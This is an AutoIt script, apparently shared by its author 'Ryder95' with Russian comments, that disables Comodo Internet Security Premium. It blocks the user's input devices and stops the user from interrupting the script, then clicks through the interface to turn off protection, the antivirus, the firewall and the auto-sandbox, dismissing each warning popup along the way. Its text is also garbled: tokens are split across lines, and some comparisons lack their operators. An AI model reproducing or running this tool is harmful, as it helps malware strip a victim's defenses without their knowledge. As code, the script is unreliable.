#cs ----------------------------------------------------------------------------
AutoIt Version:
3.3
.8
.1
Author:		 Ryder95
 
Script Function:
Отключает всю систему защиту Comodo Internet Security Premium
#ce ----------------------------------------------------------------------------
; Script Start - Add your code below here
Global $msg[
4
];Переменная для информации об окне оповещения
Break(
0
);Попытка отключения возможности отключения скрипта пользователем
If @OSVersion=
"WIN_7"
then $WarnName=
""
;Имя окна оповещения
If @OSVersion=
"WIN_8"
then $WarnName=
"COMODO Оповещение об отключении компонента"
;Имя окна оповещения
BlockInput(
1
) ;Попытка отключить устройства ввода пользователя
Select ;Запуск
Comodo
  Case not WinExists("COMODO Internet Security Premium ")
;Если программа не запущена...
  Run(@ProgramFilesDir &
"\COMODO\COMODO Internet Security\cistray.exe --shortcut"
);...то запуск программы
  AutoItSetOption(
"WinTitleMatchMode"
,
3
);Настройки поиска главного окна
  WinWaitActive(
"COMODO Internet Security Premium "
,
""
,
10
);Ждём, когда активируется
Case not WinActive("COMODO Internet Security Premium ")
;Если не активна...
  WinActivate(
"COMODO Internet Security Premium "
);...то активируем главное окно
EndSelect 
$main=WinGetPos(
"COMODO Internet Security Premium "
) ;Получение позиций главного окна
sleep(
500
) ;Пауза (дать компьютеру успеть выполнить действие на экране)
MouseClick(
"left"
,$main[
0
]+Round($main[
2
]*
0.8844
),$main[
1
]+Round($main[
3
]*
0.2948
),
1
,
100
) ;Отключение защиты
sleep(
5000
) ;Пауза
MouseClick(
"left"
,$main[
0
]+Round($main[
2
]*
0.8983
),$main[
1
]+Round($main[
3
]*
0.3137
),
1
,
100
) ;Отключение антивируса
OffWarn();вызов функции, работающей с окном оповещения
WinActivate(
"COMODO Internet Security Premium "
);Активируем окно
Comodo
sleep(500)
;Пауза
MouseClick(
"left"
,$main[
0
]+Round($main[
2
]*
0.8983
),$main[
1
]+round($main[
3
]*
0.4008
),
1
,
100
) ;Отключение фаервола
OffWarn()
WinActivate(
"COMODO Internet Security Premium "
) ;Активируем окно
Comodo
sleep(500)
;Пауза
MouseClick(
"left"
,$main[
0
]+Round($main[
2
]*
0.8983
),$main[
1
]+round($main[
3
]*
0.4877
),
1
,
100
) ;Отключение Авто-
Sandbox
OffWarn()
WinActivate("COMODO Internet Security Premium ")
;Активируем окно
Comodo
sleep(500)
;Пауза
WinClose(
"COMODO Internet Security Premium "
);закрываем главное окно
Func OffWarn()
;функция, работающая с окном оповещения
  $s=WinWait($WarnName,
""
,
5
);Ждём появления оповещения
if
@OSVersion=
"WIN_8"
and
$s=
0
then Return
  WinActivate($WarnName)
  Select
  Case @OSVersion
=
"WIN_8"
$msg=WinGetPos($WarnName) ;Получаем координаты окна оповещения
  Case @OSVersion=
"WIN_7"
$msg[
0
]=@DesktopWidth
-462
$msg[
1
]=@DesktopHeight-round(@DesktopHeight*
0.0666
)
-289
$msg[
2
]=
462
$msg[
3
]=
289
EndSelect
if
$msg[
0
]+$msg[
2
]=round($msg[
3
]*
0.044
) Then ;Если меню снизу
if
($msg[
0
]>=
0
)
and
($msg[
0
]+$msg[
2
]@DesktopWidth
then MouseClick("left",@DesktopWidth-Round($msg[2]*0.8225),$msg[1]+Round($msg[3]*1,006),1,100)
;если окно за правой границей
Else
  if ($msg[0]>=0) and ($msg[0]+$msg[2]@DesktopWidth
then MouseClick("left",@DesktopWidth-Round($msg[2]*0.8225),$msg[1]+Round($msg[3]*0.6366),1,100)
;если окно за правой границей
EndIf 
  sleep(500)
;Пауза
  MouseClick(
"left"
,$msg[
0
]+round($msg[
2
]*
0.6082
),$msg[
1
]+round($msg[
3
]*
0.9377
),
1
,
100
)
EndFunc